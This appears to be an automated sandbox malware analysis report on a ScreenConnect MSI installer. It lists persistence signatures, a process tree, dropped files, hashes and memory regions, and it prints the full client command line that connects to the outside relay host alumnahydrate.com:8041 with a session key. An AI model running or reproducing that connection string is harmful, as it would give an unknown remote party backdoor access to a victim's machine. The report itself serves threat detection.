Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/08/2026, 18:13

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 12.8MB
  • Sample260809-wt3a3awwft
  • SHA256 33f2000ccc9871114e277bebf7a71c52a899111bcef626c35b2d8796b0a07c3d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1908
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4948
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 4C16A9A664E7230695D3B561D7A23170 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4592
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSICF6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240717328 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4440
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3000
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 890E5ADF8BAEA3FBA45C4F3C3F2F1FA0
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4296
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding D482E4E9AFC980524B62C247C77D44E3 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4828
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:1800
    • C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=alumnahydrate.com&p=8041&s=22b860ce-19af-48af-aa85-4a9c5b408363&k=BgIAAACkAABSU0ExAAgAAAEAAQB1RGozwmjyc6SwC3RqCt7HracM7cwnXmBg2q6d4yNrd8Z%2bO4q5kls0XOF9lKa4VRfUndvD%2bwga%2fQ81BRqYePE4dydKWKEtYlAaCTi4ZjSNbAzFSmx7ES3Uk%2ffoy77rX47w8z3sRw8Ji1FKlggMP4v%2bSMJj7996LOSNU3hE5jfrw9%2fJ5sQRm8z%2bPdMCc8tC4T8sBbj3YX0SZS2StMqdTegarvItL0VS500YCSJrbjHlxQ8%2fYvy9sYDeIGf176tRx%2frB7s108i%2fZjBikIWddvhN71E2RBEQyCaeyHBfbhWfTffAF3L48Q5IEfDlCxPD1pQM8UXRoh%2baoFaFcL7c1Teiw&c=ONGOD&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2628
      • C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.WindowsClient.exe" "RunRole" "debd48ef-428d-4cf7-8731-16a978018b74" "User"
        2⤵
        • Executes dropped EXE
        PID:4540

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5959cf.rbs

          • Path C:\Config.Msi\e5959cf.rbs
          • Size 214KB
          • SHA256 2ff8c8ed143643c14e64c68e93965e21c838d58f17393c020ebe23c1218e08b2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\Client.Override.en-US.resources
          • Size 227B
          • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\Client.Override.resources
          • Size 8KB
          • SHA256 4d0bd32688d162ab57cc30e4027db743a3a909ced66b02cfc9afb8662bfc7bd4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\app.config
          • Size 1KB
          • SHA256 10f0370524144b7c8ad9f66d235231519373df6ff543d853a09bec01e0ced083
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (6788ee9f79fd0a14)\system.config
          • Size 945B
          • SHA256 66157e789eeea5a8b82c310886ba5e253080c789a962fd69603a72b0a36a1012
          • MD5 SHA1 SHA512 TLSH

          MSICF6.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSICF6.tmp
          • Size 1.0MB
          • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSICF6.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSICF6.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSICF6.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSICF6.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI5B17.tmp

          • Path C:\Windows\Installer\MSI5B17.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e5959ce.msi

          • Path C:\Windows\Installer\e5959ce.msi
          • Size 12.8MB
          • SHA256 33f2000ccc9871114e277bebf7a71c52a899111bcef626c35b2d8796b0a07c3d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 f4a9fdddfac39de07fc39cca01e7818366d974ed90556ffd986d685ef1442c4f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {728c0792-282a-4484-9a16-db2f0a2eb991}_OnDiskSnapshotProp

          • Path \??\Volume{0dfc9b49-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{728c0792-282a-4484-9a16-db2f0a2eb991}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 80586d9a464c0f8abb6e942ecedeede5d62cd082449296f6b2bab8fd1b9f7ce1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2628-103-0x0000000004800000-0x0000000004892000-memory.dmp

          memory/2628-107-0x00000000049E0000-0x0000000004AB5000-memory.dmp

          memory/2628-105-0x0000000004690000-0x00000000046D1000-memory.dmp

          memory/2628-102-0x0000000004720000-0x0000000004756000-memory.dmp

          memory/2628-98-0x00000000046D0000-0x0000000004720000-memory.dmp

          memory/2628-76-0x0000000004050000-0x0000000004068000-memory.dmp

          memory/4440-22-0x0000000002B70000-0x0000000002B7A000-memory.dmp

          memory/4440-18-0x0000000002B40000-0x0000000002B6E000-memory.dmp

          memory/4440-26-0x0000000005050000-0x00000000050DE000-memory.dmp

          memory/4440-30-0x0000000005290000-0x000000000543C000-memory.dmp

          memory/4440-31-0x00000000059F0000-0x0000000005F94000-memory.dmp

          memory/4540-116-0x0000000000220000-0x00000000002B8000-memory.dmp

          memory/4540-119-0x000000001B3A0000-0x000000001B54C000-memory.dmp

          memory/4540-118-0x000000001B160000-0x000000001B1EE000-memory.dmp

          memory/4540-117-0x000000001AD90000-0x000000001ADC6000-memory.dmp

          memory/4540-120-0x000000001C600000-0x000000001C786000-memory.dmp

          memory/4540-121-0x0000000002320000-0x0000000002338000-memory.dmp

          memory/4540-122-0x0000000002470000-0x0000000002488000-memory.dmp

          memory/4540-123-0x000000001B0D0000-0x000000001B111000-memory.dmp